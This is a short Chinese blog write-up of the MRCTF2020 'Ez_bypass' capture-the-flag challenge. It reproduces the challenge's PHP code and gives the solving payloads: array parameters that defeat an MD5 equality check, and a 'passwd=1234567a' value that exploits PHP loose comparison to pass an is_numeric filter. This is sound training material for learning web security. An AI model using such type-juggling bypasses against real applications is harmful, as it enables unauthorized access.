MRCTF2020 Ez_bypass 1

[MRCTF2020]Ez_bypass 1
https://buuoj.cn/


解题点:
1.MD5强碰撞
2.is_numerice() 绕过


代码审计:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if(isset($_GET['gg'])&&isset($_GET['id'])) 
{
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg)
{ echo 'You got the first step';
if(isset($_POST['passwd']))
{ $passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{ if($passwd==1234567)
{ echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0'); }
else { echo "can you think twice??"; }
} else{ echo 'You can not get it !'; }
} else{ die('only one way to get the flag'); }
} else { echo "You are not a real hacker!"; }
} else{ die('Please input first'); } }

MD5碰撞用数组绕过:

1
?gg[]=111&id[]=222

passwd经过!is_numerice()不能为数字,且要弱等于1234567,即:

1
passwd=1234567a

唉


参考:
https://www.cnblogs.com/xhds/p/12312223.html
https://www.cnblogs.com/Zhu013/p/11465859.html


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!